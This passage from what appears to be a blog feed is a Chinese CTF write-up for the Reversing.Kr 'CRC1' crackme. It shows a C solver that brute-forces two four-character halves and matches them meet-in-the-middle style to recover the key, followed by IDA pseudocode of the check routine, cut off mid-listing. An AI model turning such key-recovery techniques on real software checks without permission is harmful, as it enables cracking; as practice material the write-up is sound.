<span class="number">91</span>, <span class="number">81</span>, <span class="number">212</span>, <span class="number">69</span>, <span class="number">192</span>, <span class="number">202</span>, <span class="number">79</span>, <span class="number">11</span>, <span class="number">142</span>, <span class="number">132</span>, <span class="number">1</span>, <span class="number">144</span>, <span class="number">21</span>, <span class="number">31</span>, <span class="number">154</span>, <span class="number">184</span>, <span class="number">61</span>, <span class="number">55</span>, <span class="number">178</span>, <span class="number">35</span>, <span class="number">166</span>, <span class="number">172</span>, <span class="number">41</span>, <span class="number">182</span>, <span class="number">51</span>, <span class="number">57</span>, <span class="number">188</span>, <span class="number">45</span>, <span class="number">168</span>, <span class="number">162</span>, <span class="number">39</span>, <span class="number">5</span>, <span class="number">128</span>, <span class="number">138</span>, <span class="number">15</span>, <span class="number">158</span>, <span class="number">27</span>, <span class="number">17</span>, <span class="number">148</span>, <span class="number">208</span>, <span class="number">85</span>, <span class="number">95</span>, <span class="number">218</span>, <span class="number">75</span>, <span class="number">206</span>, <span class="number">196</span>, <span class="number">65</span>, <span class="number">99</span>, <span class="number">230</span>, <span class="number">236</span>, <span class="number">105</span>, <span class="number">248</span>, <span class="number">125</span>, <span class="number">119</span>, <span class="number">242</span>, <span class="number">255</span>, <span class="number">122</span>, <span class="number">112</span>, <span class="number">245</span>, <span class="number">100</span>, <span class="number">225</span>, <span class="number">235</span>, <span class="number">110</span>, <span class="number">76</span>, <span class="number">201</span>, <span class="number">195</span>, <span class="number">70</span>, <span class="number">215</span>, <span class="number">82</span>, <span class="number">88</span>, <span class="number">221</span>, <span class="number">153</span>, <span class="number">28</span>, <span class="number">22</span>, <span class="number">147</span>, <span class="number">2</span>, <span class="number">135</span>, <span class="number">141</span>, <span class="number">8</span>, <span class="number">42</span>, <span class="number">175</span>, <span class="number">165</span>, <span class="number">32</span>, <span class="number">177</span>, <span class="number">52</span>, <span class="number">62</span>, <span class="number">187</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="function">ll <span class="title">encrypt</span><span class="params">(ll k, uc pd[<span class="number">4</span>])</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">for</span>(<span class="keyword">int</span> i=<span class="number">0</span>;i&lt;<span class="number">4</span>;i++)</span><br><span class="line">    &#123;</span><br><span class="line">        s[i*<span class="number">16</span>] = pd[i];</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">for</span>(<span class="keyword">int</span> i=<span class="number">0</span>;i&lt;<span class="number">64</span>;i++)</span><br><span class="line">    &#123;</span><br><span class="line">        uc t = (k&amp;<span class="number">0xff</span>)^s[i];</span><br><span class="line">        k = k &gt;&gt; <span class="number">8</span>;</span><br><span class="line">        k = k ^ dword_4085E8[t];</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> k;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function">ll <span class="title">decrypt</span><span class="params">(ll k, uc pd[<span class="number">4</span>])</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">for</span>(<span class="keyword">int</span> i=<span class="number">0</span>;i&lt;<span class="number">4</span>;i++)</span><br><span class="line">    &#123;</span><br><span class="line">        s[i*<span class="number">16</span>+<span class="number">64</span>] = pd[i];</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">for</span>(<span class="keyword">int</span> i=<span class="number">255</span>;i&gt;=<span class="number">64</span>;i--)</span><br><span class="line">    &#123;</span><br><span class="line">        uc t = reverse_i[k&gt;&gt;<span class="number">56</span>];</span><br><span class="line"></span><br><span class="line">        k = k ^ dword_4085E8[t];</span><br><span class="line">    k = (k &lt;&lt; <span class="number">8</span>) + (s[i]^t);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> k;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">test</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    ll k = <span class="number">0xADAB87822F5AF097</span>;</span><br><span class="line">    <span class="keyword">for</span>(<span class="keyword">int</span> i=<span class="number">255</span>;i&gt;=<span class="number">113</span>;i--)</span><br><span class="line">    &#123;</span><br><span class="line">        uc t = reverse_i[k&gt;&gt;<span class="number">56</span>];</span><br><span class="line">        </span><br><span class="line">        k = k ^ dword_4085E8[t];</span><br><span class="line">        k = (k &lt;&lt; <span class="number">8</span> ) + (s[i]^t);</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">"%d %u %llx\n"</span>,i,t,k);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> ;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function">ll <span class="title">testEncrypt</span><span class="params">(ll k, uc p[<span class="number">8</span>])</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">for</span>(<span class="keyword">int</span> i=<span class="number">0</span>;i&lt;<span class="number">8</span>;i++)</span><br><span class="line">    &#123;</span><br><span class="line">        s[i*<span class="number">16</span>] = p[i];</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">for</span>(<span class="keyword">int</span> i=<span class="number">0</span>;i&lt;<span class="number">256</span>;i++)</span><br><span class="line">    &#123;</span><br><span class="line">        uc t = (k&amp;<span class="number">0xff</span>)^s[i];</span><br><span class="line">        k = k &gt;&gt; <span class="number">8</span>;</span><br><span class="line">        k = k ^ dword_4085E8[t];</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> k;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">mycmp</span><span class="params">(<span class="keyword">const</span> <span class="keyword">void</span> *p1, <span class="keyword">const</span> <span class="keyword">void</span> *p2)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    res *a = (res*)p1;</span><br><span class="line">    res *b = (res*)p2;</span><br><span class="line">    <span class="comment">//printf("%llx %llx\n",(long long)(a-&gt;v),(long long)(b-&gt;v));</span></span><br><span class="line">    <span class="comment">//printf("%d\n",(a-&gt;v)&gt;(b-&gt;v));</span></span><br><span class="line">    <span class="keyword">return</span> (a-&gt;v)&gt;(b-&gt;v);</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    ll new_key = <span class="number">0x5416B1679DB69FC3</span>;</span><br><span class="line">    ll fff = <span class="number">0xFFFFFFFF</span>;</span><br><span class="line">    ll num = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">//uc p[8]="12345678";</span></span><br><span class="line">    <span class="comment">//printf("%llx\n",testEncrypt(0,p));</span></span><br><span class="line">    <span class="comment">//printf("%d\n",decrypt(0xADAB87822F5AF097,p));</span></span><br><span class="line">    <span class="comment">//test();</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment">//FILE *fpWrite=fopen("result1.txt","w");  </span></span><br><span class="line">    <span class="keyword">for</span>(uc i=<span class="number">32</span>;i&lt;<span class="number">127</span>;i++)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">for</span>(uc j=<span class="number">32</span>;j&lt;<span class="number">127</span>;j++)</span><br><span class="line">        &#123;</span><br><span class="line">            <span class="keyword">for</span>(uc k=<span class="number">32</span>;k&lt;<span class="number">127</span>;k++)</span><br><span class="line">            &#123;</span><br><span class="line">                <span class="keyword">for</span>(uc h=<span class="number">32</span>;h&lt;<span class="number">127</span>;h++)</span><br><span class="line">                &#123;</span><br><span class="line">                    uc p[<span class="number">4</span>] = &#123;i,j,k,h&#125;;</span><br><span class="line">                    </span><br><span class="line">                    <span class="built_in">printf</span>(<span class="string">"[e] %d\n"</span>,num);</span><br><span class="line">                    </span><br><span class="line">                    <span class="built_in">strcpy</span>(result1[num].ss, p);</span><br><span class="line">                    result1[num++].v = encrypt(<span class="number">0</span>,p);</span><br><span class="line">                    <span class="comment">//fprintf(fpWrite,"%llx ",result1[num-1]);</span></span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">//fclose;</span></span><br><span class="line">    qsort(result1, num, <span class="keyword">sizeof</span>(res), mycmp);</span><br><span class="line"></span><br><span class="line">    num = <span class="number">0</span>;</span><br><span class="line">    <span class="comment">//FILE *fpWrite=fopen("result2.txt","w");  </span></span><br><span class="line">    <span class="keyword">for</span>(uc i=<span class="number">32</span>;i&lt;<span class="number">127</span>;i++)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">for</span>(uc j=<span class="number">32</span>;j&lt;<span class="number">127</span>;j++)</span><br><span class="line">        &#123;</span><br><span class="line">            <span class="keyword">for</span>(uc k=<span class="number">32</span>;k&lt;<span class="number">127</span>;k++)</span><br><span class="line">            &#123;</span><br><span class="line">                <span class="keyword">for</span>(uc h=<span class="number">32</span>;h&lt;<span class="number">127</span>;h++)</span><br><span class="line">                &#123;</span><br><span class="line">                    new_key = <span class="number">0x676F5F675F695F6C</span>;</span><br><span class="line">                    uc p[<span class="number">4</span>] = &#123;i,j,k,h&#125;;</span><br><span class="line"></span><br><span class="line">                    <span class="built_in">printf</span>(<span class="string">"[d] %d\n"</span>,num);</span><br><span class="line">                    <span class="built_in">strcpy</span>(result2[num].ss, p);</span><br><span class="line">                    result2[num++].v = decrypt(new_key,p);</span><br><span class="line">                    <span class="comment">//fprintf(fpWrite,"%llx ",result2[num-1]);  </span></span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">//fclose(fpWrite);</span></span><br><span class="line">    qsort(result2, num, <span class="keyword">sizeof</span>(res), mycmp);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">int</span> a=<span class="number">0</span>, b=<span class="number">0</span>;</span><br><span class="line">    <span class="keyword">while</span>( a &lt; num &amp;&amp; b &lt; num )</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">"%llx %llx\n"</span>,result1[a].v,result2[b].v);</span><br><span class="line">        <span class="keyword">if</span>( result1[a].v == result2[b].v )</span><br><span class="line">        &#123;</span><br><span class="line">            <span class="keyword">for</span>(<span class="keyword">int</span> i=<span class="number">0</span>;i&lt;<span class="number">4</span>;i++)</span><br><span class="line">                <span class="built_in">putchar</span>(result1[a].ss[i]);</span><br><span class="line">            <span class="keyword">for</span>(<span class="keyword">int</span> i=<span class="number">0</span>;i&lt;<span class="number">4</span>;i++)</span><br><span class="line">                <span class="built_in">putchar</span>(result2[b].ss[i]);</span><br><span class="line">            <span class="built_in">printf</span>(<span class="string">"\n"</span>);</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">else</span> <span class="keyword">if</span>( result1[a].v &lt; result2[b].v ) a++;</span><br><span class="line">        <span class="keyword">else</span> b++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
    
    <summary type="html">
    
      &lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/L1B0/CTF/tree/master/Reversing-Kr/CRC1&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;题目及脚本&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这题的解法参考了&lt;a href=&quot;https://github.com/DoubleLabyrinth/reversing.kr/tree/master/CRC1&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;DoubleLabyrinth&lt;/a&gt;的想法。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;解题思路&quot;&gt;&lt;a href=&quot;#解题思路&quot; class=&quot;headerlink&quot; title=&quot;解题思路&quot;&gt;&lt;/a&gt;解题思路&lt;/h2&gt;&lt;p&gt;题目是一个32位的exe，用ida打开看逻辑。&lt;/p&gt;
&lt;p&gt;关键函数伪码如下&lt;/p&gt;
&lt;figure class=&quot;highlight c++&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;16&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;17&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;18&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;19&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;20&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;21&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;22&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;23&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;24&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;25&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;26&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;27&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;28&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;29&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;30&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;31&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;32&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;33&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;34&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;35&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;36&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;37&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;38&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;39&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;40&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;41&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;42&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;43&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;44&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;45&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;46&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;47&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;48&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;49&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;50&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;51&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;52&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;53&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;54&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;55&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;56&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;57&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;58&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;59&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;60&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;61&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;62&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;63&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;64&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;65&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;66&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;67&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;68&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;69&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;70&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;71&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;72&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;73&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;74&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;75&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;76&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;77&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;78&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;79&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;80&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;81&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;82&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;83&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;int&lt;/span&gt; __&lt;span class=&quot;function&quot;&gt;cdecl &lt;span class=&quot;title&quot;&gt;sub_401070&lt;/span&gt;&lt;span class=&quot;params&quot;&gt;(HWND hDlg)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;function&quot;&gt;&lt;/span&gt;&amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;keyword&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;keyword&quot;&gt;int&lt;/span&gt; v1; &lt;span class=&quot;comment&quot;&gt;// ecx@2&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;keyword&quot;&gt;char&lt;/span&gt; v2; &lt;span class=&quot;comment&quot;&gt;// al@2&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;keyword&quot;&gt;char&lt;/span&gt; *v3; &lt;span class=&quot;comment&quot;&gt;// edi@2&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;keyword&quot;&gt;char&lt;/span&gt; *v4; &lt;span class=&quot;comment&quot;&gt;// esi@2&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;keyword&quot;&gt;int&lt;/span&gt; v5; &lt;span class=&quot;comment&quot;&gt;// ecx@2&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;keyword&quot;&gt;signed&lt;/span&gt; &lt;span class=&quot;keyword&quot;&gt;int&lt;/span&gt; v6; &lt;span class=&quot;comment&quot;&gt;// eax@2&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;keyword&quot;&gt;char&lt;/span&gt; *v7; &lt;span class=&quot;comment&quot;&gt;// ecx@2&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;keyword&quot;&gt;char&lt;/span&gt; v8; &lt;span class=&quot;comment&quot;&gt;// dl@3&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;keyword&quot;&gt;unsigned&lt;/span&gt; __int64 v9; &lt;span class=&quot;comment&quot;&gt;// rax@4&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;keyword&quot;&gt;signed&lt;/span&gt; &lt;span class=&quot;keyword&quot;&gt;int&lt;/span&gt; v10; &lt;span class=&quot;comment&quot;&gt;// esi@4&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;keyword&quot;&gt;int&lt;/span&gt; v11; &lt;span class=&quot;comment&quot;&gt;// edi@5&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;keyword&quot;&gt;unsigned&lt;/span&gt; __int64 v12; &lt;span class=&quot;comment&quot;&gt;// rax@5&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;keyword&quot;&gt;int&lt;/span&gt; v13; &lt;span class=&quot;comment&quot;&gt;// edi@5&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  CHAR String; &lt;span class=&quot;comment&quot;&gt;// [sp+8h] [bp-114h]@1&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;keyword&quot;&gt;int&lt;/span&gt; v16; &lt;span class=&quot;comment&quot;&gt;// [sp+9h] [bp-113h]@1&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;keyword&quot;&gt;int&lt;/span&gt; v17; &lt;span class=&quot;comment&quot;&gt;// [sp+Dh] [bp-10Fh]@1&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;keyword&quot;&gt;int&lt;/span&gt; v18; &lt;span class=&quot;comment&quot;&gt;// [sp+11h] [bp-10Bh]@1&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;keyword&quot;&gt;int&lt;/span&gt; v19; &lt;span class=&quot;comment&quot;&gt;// [sp+15h] [bp-107h]@1&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  __int16 v20; &lt;span class=&quot;comment&quot;&gt;// [sp+19h] [bp-103h]@1&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;keyword&quot;&gt;char&lt;/span&gt; v21; &lt;span class=&quot;comment&quot;&gt;// [sp+1Bh] [bp-101h]@1&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;keyword&quot;&gt;char&lt;/span&gt; v22; &lt;span class=&quot;comment&quot;&gt;// [sp+1Ch] [bp-100h]@1&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;keyword&quot;&gt;char&lt;/span&gt; v23; &lt;span class=&quot;comment&quot;&gt;// [sp+1Dh] [bp-FFh]@1&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  __int16 v24; &lt;span class=&quot;comment&quot;&gt;// [sp+119h] [bp-3h]@1&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;keyword&quot;&gt;char&lt;/span&gt; v25; &lt;span class=&quot;comment&quot;&gt;// [sp+11Bh] [bp-1h]@1&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  v22 = &lt;span class=&quot;number&quot;&gt;0&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;built_in&quot;&gt;memset&lt;/span&gt;(&amp;amp;v23, &lt;span class=&quot;number&quot;&gt;0&lt;/span&gt;, &lt;span class=&quot;number&quot;&gt;0xFC&lt;/span&gt;u);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  v24 = &lt;span class=&quot;number&quot;&gt;0&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  v25 = &lt;span class=&quot;number&quot;&gt;0&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  v16 = &lt;span class=&quot;number&quot;&gt;0&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  v17 = &lt;span class=&quot;number&quot;&gt;0&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  v18 = &lt;span class=&quot;number&quot;&gt;0&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  v19 = &lt;span class=&quot;number&quot;&gt;0&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  v20 = &lt;span class=&quot;number&quot;&gt;0&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  String = &lt;span class=&quot;number&quot;&gt;0&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  v21 = &lt;span class=&quot;number&quot;&gt;0&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt; ( GetDlgItemTextA(hDlg, &lt;span class=&quot;number&quot;&gt;1000&lt;/span&gt;, &amp;amp;String, &lt;span class=&quot;number&quot;&gt;20&lt;/span&gt;) != &lt;span class=&quot;number&quot;&gt;8&lt;/span&gt; )&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;keyword&quot;&gt;goto&lt;/span&gt; LABEL_13;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  v1 = &lt;span class=&quot;built_in&quot;&gt;strlen&lt;/span&gt;((&lt;span class=&quot;keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;keyword&quot;&gt;char&lt;/span&gt; *)&amp;amp;unk_406030) + &lt;span class=&quot;number&quot;&gt;1&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  v2 = v1;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  v1 &amp;gt;&amp;gt;= &lt;span class=&quot;number&quot;&gt;2&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  qmemcpy(&amp;amp;v22, &amp;amp;unk_406030, &lt;span class=&quot;number&quot;&gt;4&lt;/span&gt; * v1);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  v4 = (&lt;span class=&quot;keyword&quot;&gt;char&lt;/span&gt; *)&amp;amp;unk_406030 + &lt;span class=&quot;number&quot;&gt;4&lt;/span&gt; * v1;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  v3 = &amp;amp;v22 + &lt;span class=&quot;number&quot;&gt;4&lt;/span&gt; * v1;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  v5 = v2 &amp;amp; &lt;span class=&quot;number&quot;&gt;3&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  v6 = &lt;span class=&quot;number&quot;&gt;0&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  qmemcpy(v3, v4, v5);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  v7 = &amp;amp;v22;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;keyword&quot;&gt;do&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  